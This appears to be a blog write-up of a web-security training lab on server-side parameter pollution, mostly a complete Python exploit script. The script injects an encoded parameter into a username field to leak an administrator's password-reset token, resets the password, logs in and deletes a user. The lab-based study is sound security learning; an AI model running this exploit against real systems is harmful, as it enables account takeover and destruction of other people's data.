Shubham Ranpise

Back

API Lab 2

Learn how to exploit server‑side parameter pollution in the query string to leak sensitive data and complete an unauthorized action.

Exploiting server-side parameter pollution in a query string#

In this lab, I exploited a query-string based server-side parameter pollution (SSPP) vulnerability. The issue arose from how the backend handled conflicting or duplicated query parameters injected via URL-encoded characters. By manipulating the username field with encoded characters like %26 (for &) and %23 (for #), I was able to inject an additional parameter (field=reset_token) into the backend request.

This allowed me to extract the password reset token for the administrator user from the API response. After obtaining the token, I was able to reset the administrator’s password, gain access to the admin panel, and delete the user carlos. This lab emphasized how improper parsing of user input in query strings can lead to high-severity account takeovers.

How Exploit Works#

  • Visit the “Forgot Password” page and request a reset token for the administrator.
  • Revisit the page and pollute the username field with: administrator%26field=reset_token%23.
  • The backend parses the injected field parameter and returns the reset token in the response.
  • Use the token to reset the admin password.
  • Log in as administrator and delete the carlos user.

Usage#

python3 exploit.py https://<your-lab-id>.web-security-academy.net
cmd

Exploit#

exploit.py
import requests
import sys
import urllib3
from bs4 import BeautifulSoup

# Disable SSL warnings for self-signed certs (like in labs/Burp)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Proxy settings for Burp Suite
proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}

def check_burp():
    """
    Check if Burp Suite is running by probing the local proxy.
    """
    try:
        requests.get("http://127.0.0.1:8080", timeout=2)
    except requests.exceptions.ConnectionError:
        print("[-] Burp Suite is not running or proxy not reachable.")
        print("[!] Start Burp and ensure it's listening on 127.0.0.1:8080")
        sys.exit(1)

def get_csrf_token(session, url):
    """
    Extract the CSRF token from /forgot-password page.
    """
    try:
        res = session.get(url + "/forgot-password", verify=False, proxies=proxies)
        res.raise_for_status()
        soup = BeautifulSoup(res.text, 'html.parser')
        csrf_input = soup.find("input", {"name": "csrf"})
        return csrf_input['value']
    except Exception as e:
        print(f"[-] Failed to fetch CSRF token: {e}")
        sys.exit(1)

def trigger_token_generation(session, url, csrf):
    """
    Send initial password reset request to trigger token creation.
    """
    data = {
        "csrf": csrf,
        "username": "administrator"
    }
    try:
        session.post(url + "/forgot-password", data=data, verify=False, proxies=proxies)
    except requests.RequestException as e:
        print(f"[-] Initial password reset trigger failed: {e}")
        sys.exit(1)

def extract_reset_token(session, url, csrf):
    """
    Exploit parameter pollution to extract the reset token from the API response.
    """
    # Crafted username with encoded special characters to bypass validation
    payload = "administrator%26field=reset_token%23"
    data = {
        "csrf": csrf,
        "username": payload
    }
    try:
        res = session.post(url + "/forgot-password", data=data, verify=False, proxies=proxies)
        result = res.json()
        return result['result']
    except (ValueError, KeyError) as e:
        print("[-] Failed to extract reset token from response.")
        print(f"[!] Response content: {res.text}")
        sys.exit(1)

def reset_password(session, url, token, csrf):
    """
    Use the stolen reset token to set a new password for administrator.
    """
    uri = f"/forgot-password?reset_token={token}"
    data = {
        "csrf": csrf,
        "reset_token": token,
        "new-password-1": "Password@123",
        "new-password-2": "Password@123"
    }
    try:
        res = session.post(url + uri, data=data, verify=False, proxies=proxies)
        if "Password successfully changed" in res.text or res.status_code == 200:
            print("[+] Password reset successful!")
        else:
            print("[-] Password reset may have failed.")
            print(res.text)
    except requests.RequestException as e:
        print(f"[-] Reset password request failed: {e}")
        sys.exit(1)

def login(session, url):
    """
    Log in as the administrator using the new password.
    """
    csrf = get_csrf_token(session, url)
    credentials = {
        "csrf": csrf,
        "username": "administrator",
        "password": "Password@123"
    }
    try:
        res = session.post(url + "/login", data=credentials, verify=False, proxies=proxies, allow_redirects=False)
        return res.status_code == 302
    except requests.RequestException as e:
        print(f"[-] Login failed: {e}")
        return False

def delete_user(session, url, username="carlos"):
    """
    Delete the specified user from the admin panel.
    """
    try:
        res = session.get(f"{url}/admin/delete?username={username}", verify=False, proxies=proxies)
        if "User deleted" in res.text:
            print(f"[+] User '{username}' deleted successfully.")
        else:
            print(f"[-] Failed to delete user '{username}'.")
    except requests.RequestException as e:
        print(f"[-] Deletion request failed: {e}")

def main():
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <url>")
        print(f"Example: python {sys.argv[0]} https://target.com")
        sys.exit(1)

    url = sys.argv[1].strip()
    session = requests.Session()

    # Step 0: Check if Burp is active
    check_burp()

    # Step 1: Get initial CSRF token
    print("[*] Fetching initial CSRF token...")
    csrf = get_csrf_token(session, url)

    # Step 2: Trigger password reset to generate token
    print("[*] Triggering token generation for administrator...")
    trigger_token_generation(session, url, csrf)

    # Step 3: Re-fetch CSRF (in case it changes)
    csrf = get_csrf_token(session, url)

    # Step 4: Exploit to extract token
    print("[*] Attempting to extract reset token using SSPP...")
    token = extract_reset_token(session, url, csrf)
    print(f"[+] Extracted token: {token}")

    # Step 5: Reset password
    print("[*] Resetting password using the extracted token...")
    reset_password(session, url, token, csrf)

    # Step 6: Log in with new credentials
    print("[*] Logging in as administrator...")
    if login(session, url):
        print("[+] Logged in successfully as administrator.")
    else:
        print("[-] Login failed.")
        sys.exit(1)

    # Step 7: Delete target user
    print("[*] Attempting to delete user 'carlos'...")
    delete_user(session, url)

if __name__ == "__main__":
    main()
python